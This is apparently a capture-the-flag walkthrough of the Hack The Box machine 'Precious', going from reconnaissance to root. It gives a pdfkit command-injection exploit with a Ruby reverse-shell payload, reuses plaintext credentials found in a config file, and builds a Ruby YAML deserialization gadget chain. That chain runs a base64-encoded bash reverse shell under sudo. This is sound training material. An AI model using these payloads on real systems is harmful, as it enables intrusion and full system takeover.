Post

HTB - Precious

Overview

Precious is an Easy Difficulty Linux machine, that focuses on the Ruby language.

Initial foothold: It hosts a custom Ruby web application, using an outdated library, namely pdfkit, which is vulnerable to CVE-2022-25765, leading to an initial shell on the target machine.

Privilege escalation: After a pivot using plaintext credentials that are found in a Gem repository config file, the box concludes with an insecure deserialization attack on a custom, outdated, Ruby script.

Information Gathering

Let’s start with an Nmap scan:

1
2
3
4
5
6
7
$ sudo nmap -sS -A -Pn --min-rate 10000 -p- 10.10.11.189

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0

What we have:

  • An SSH server, but no credentials to leverage it.
  • A web server (nginx 1.18.0) which redirects us to precious.htb. We will need to add this domain to our local DNS file (/etc/hosts) and then re-scan port 80 so nmap can run more script on it.
1
2
3
4
5
6
7
8
# adding domain to local DNS file
$ cat /etc/hosts

<SNIP>

10.10.11.189    precious.htb

<SNIP>

Re-scan with nmap:

1
2
3
4
5
6
7
8
$ sudo nmap -sS -A -Pn --min-rate 10000 -p 80 10.10.11.189

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header:
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15

Extra info:

  • From the title, we can expect to find a functionality that converts web pages to PDF.
  • We have another app, Phusion Passenger(R), along with its version 6.0.15.

Let’s first find out what Phusion Passenger is. According to Wikipedia:

Phusion Passenger (informally also known as mod_rails and mod_rack among the Ruby community) is a free web server and application server with support for Ruby, Python and Node.js. It is designed to integrate into the Apache HTTP Server or the nginx web server, but also has a mode for running standalone without an external web server. Phusion Passenger supports Unix-like operating systems, and is available as a gem package, as a tarball, or as native Linux packages.

When searching if this specific version of Phusion Passenger has any known vulnerabilities, we can’t find anything of interest: many vulnerabilities for the 5.x versions, but nothing for the 6.x versions.

The site’s homepage looks like this:

When we try to use the app, it does not seem to work: we get the message “Cannot load remote URL!”.

Initial foothold

We can try launching a Python HTTP server locally and then try to reach it through the app to see what happens:

1
2
3
# launching a Python HTTP server
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

1
2
3
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.189 - - [19/Jan/2024 18:47:12] "GET / HTTP/1.1" 200 -

It connected back to us, and it also downloaded for us a pdf file with a random generated name: 1nib9e3zxiltbfnl4jlsyc3z9cf77fik.pdf. When an app generates any sort of file, we can check its metadata to see if anything interesting lies there:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ exiftool 1nib9e3zxiltbfnl4jlsyc3z9cf77fik.pdf
ExifTool Version Number         : 12.70
File Name                       : 1nib9e3zxiltbfnl4jlsyc3z9cf77fik.pdf
Directory                       : .
File Size                       : 11 kB
File Modification Date/Time     : 2024:01:19 19:32:33+00:00
File Access Date/Time           : 2024:01:19 19:34:37+00:00
File Inode Change Date/Time     : 2024:01:19 19:33:47+00:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

We got back the app’s version: pdfkit v0.8.6! Upon googling “pdfkit v0.8.6 exploit” we can see multiple references to CVE-2022-25765 which refers to a Command Injection (CI) vulnerability. There are also multiple PoCs for it, including this one. Let’s try using it:

1
2
3
4
5
6
7
8
9
10
11
# download the PoC
$ searchsploit -m 51293
  Exploit: pdfkit v0.8.7.2 - Command Injection
      URL: https://www.exploit-db.com/exploits/51293
     Path: /usr/share/exploitdb/exploits/ruby/local/51293.py
    Codes: CVE-2022–25765
 Verified: True
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/kali/htb/fullpwn/precious/51293.py


Let’s open our listener:

1
2
3
# setting up a listener
$ nc -lnvp 1337
listening on [any] 1337 ...

Let’s use the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ python3 51293.py -s 10.10.14.15 1337 -w http://precious.htb -p url

        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....

UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
OPTIONS: Reverse Shell Sent to Target Website Mode
PAYLOAD: http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.15","1337"))'`
LOCALIP: 10.10.14.15:1337
WARNING: Be sure to start a local listener on the above IP and port. "nc -lnvp 1337".
WEBSITE: http://precious.htb
POSTARG: url
EXPLOIT: Payload sent to website!
SUCCESS: Exploit performed action.

Back to our listener:

1
2
3
4
5
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.189] 45308
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)

Success!

Lateral movement

Before moving forward, let’s first upgrade our shell and get our first flag:

1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
ruby@precious:/var/www/pdfapp$
ruby@precious:/var/www/pdfapp$ find / -type f -name user.txt 2>/dev/null
find / -type f -name user.txt 2>/dev/null
/home/henry/user.txt

The user.txt file is within henry’s directory, therefore, we cannot read it! We will have to find a way to obtain control of its account. Let’s start by exploring our home directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# list the contents of the directory
ruby@precious:~$ ls -la
ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Jan 19 13:35 .
drwxr-xr-x 4 root root 4096 Oct 26  2022 ..
lrwxrwxrwx 1 root root    9 Oct 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 Jan 19 13:35 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile
# list the contents of the hidden 'bundle' directory
ruby@precious:~$ ls -la .bundle
ls -la .bundle
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .
drwxr-xr-x 4 ruby ruby 4096 Jan 19 13:35 ..
-r-xr-xr-x 1 root ruby   62 Sep 26  2022 config
# display the contents of the 'config' file
ruby@precious:~$ cat .bundle/config
cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

That’s was easier than expected! Let’s switch to user henry and get our flag:

1
2
3
4
5
6
7
ruby@precious:~$ su henry
su henry
Password: Q3c1AqGHtoI0aXAYFH

henry@precious:/home/ruby$ cat ~/user.txt
cat ~/user.txt
<SNIP>

Privilege escalation

We can now try to SSH as henry for a more stable shell:

1
2
$ ssh henry@10.10.11.189
henry@precious:~$

Let’s see if henry can run anything as sudo:

1
2
3
4
5
6
7
8
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$ ls -l /opt/update_dependencies.rb
-rwxr-xr-x 1 root root 848 Sep 25  2022 /opt/update_dependencies.rb

So the user can run update_dependencies.rb as sudo, but do not have write access to it. If he did, we could just inject reverse shell code in it and get a root shell. Let’s check what this script does:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

The script seems to be reading dependencies.yml and checking whether the specified versions are equal with those installed on the local system. In addition, we can see the following comment from the developer:

1
# TODO: update versions automatically

We can infer that this is not yet done, so there is a chance that there are outdated apps on the local system. Let’s run the script to find out:

1
2
3
4
5
henry@precious:/opt$ /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
        2: from /opt/update_dependencies.rb:17:in `<main>'
        1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)

We get the error “no such file or directory” referring to the dependencies.yml file. On the script, this file is referenced relatively and not with an absolute path, so the script only searches in the same directory to find it. And we can confirm that this file does not exist there:

1
2
3
4
5
6
henry@precious:/opt$ ls -la /opt
total 16
drwxr-xr-x  3 root root 4096 Oct 26  2022 .
drwxr-xr-x 18 root root 4096 Nov 21  2022 ..
drwxr-xr-x  2 root root 4096 Oct 26  2022 sample
-rwxr-xr-x  1 root root  848 Sep 25  2022 update_dependencies.rb

We can search for vulnerabilities related to the YAML module, since it is responsible for reading the file. Ruby’s official documentation mentions the following:

This module (YAML) provides a Ruby interface for data serialization in YAML format.

There is also a Security section:

Do not use YAML to load untrusted data. Doing so is unsafe and could allow malicious input to execute arbitrary code inside your application.

We have already seen some examples of insecure-deserialization vulnerabilities, and there is also a dedicated repository containing Ruby Deserialization payloads for versions 2.x - 3.x!

Insecure deserialization - Theory & Insecure deserialization - Practice.

Let’s check with what version we are working with:

1
2
henry@precious:/$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]

We can try using just the last payload since the first two are for previous version than the one we have. We can move to the /tmp directory and create a dependencies.yml file with the payload as its content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
henry@precious:/tmp$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

The script executes the id command, so let’s see if that works:

1
2
3
4
5
6
7
8
9
10
11
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
<SNIP>

The exploit seems to work just fine since its output includes uid=0(root) gid=0(root) groups=0(root)! We can now inject some Ruby reverse shell code instead of the id command. After some unsuccessful attempts to catch the shell, we can try base64 encode our payload before sending it. We can easily do that using revshellgen:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
$ /opt/revshellgen/revshellgen.py

                         __         __   __
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_/\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/


---------- [ SELECT IP ] ----------

[   ] 172.31.150.94 on eth0
[   ] 172.17.0.1 on docker0
[ x ] 10.10.14.15 on tun0
[   ] Specify manually

---------- [ SPECIFY PORT ] ----------

[ # ] Enter port number : 1337

---------- [ SELECT COMMAND ] ----------

[ x ] unix_bash
[   ] unix_java
[   ] unix_nc_mkfifo
[   ] unix_nc_plain
[   ] unix_perl
[   ] unix_php
[   ] unix_python
[   ] unix_ruby
[   ] unix_telnet
[   ] windows_powershell

---------- [ SELECT ENCODE TYPE ] ----------

[   ] NONE
[   ] URL ENCODE
[ x ] BASE64 ENCODE
[ ! ] Command is now BASE64 encoded!

---------- [ FINISHED COMMAND ] ----------

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNS8xMzM3IDA+JjE=

[ ! ] Reverse shell command copied to clipboard!
[ + ] In case you want to upgrade your shell, you can use this:

python -c 'import pty;pty.spawn("/bin/bash")'

---------- [ SETUP LISTENER ] ----------

[ x ] yes
[   ] no
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
henry@precious:/tmp$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNS8xMzM3IDA+JjE= | base64 -d | bash
         method_id: :resolve

If we re-run the command now, henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb, we should see a connection back to our listener:

1
2
3
4
5
6
7
8
9
10
11
---------- [ SETUP LISTENER ] ----------

[ x ] yes
[   ] no
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.11.189:35420.
root@precious:/tmp# cat /root/root.txt
cat /root/root.txt
<SNIP>

Extra

I was quite buffled as of why the /opt/update_dependencies.rb script was able to pick up the dependencies.yml file from the /tmp directory. The latter file is referenced relatively within the script:

1
2
3
def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

In most cases, this means that the script will ONLY search within the same directory that itself resides, in this case, /opt/. But it was able to read it from the /tmp directory! After some reading, I ended up making a StackOverFlow post and that was the answer from Casper:

Can a Ruby script tell what directory it’s in?

This post is licensed under CC BY 4.0 by the author.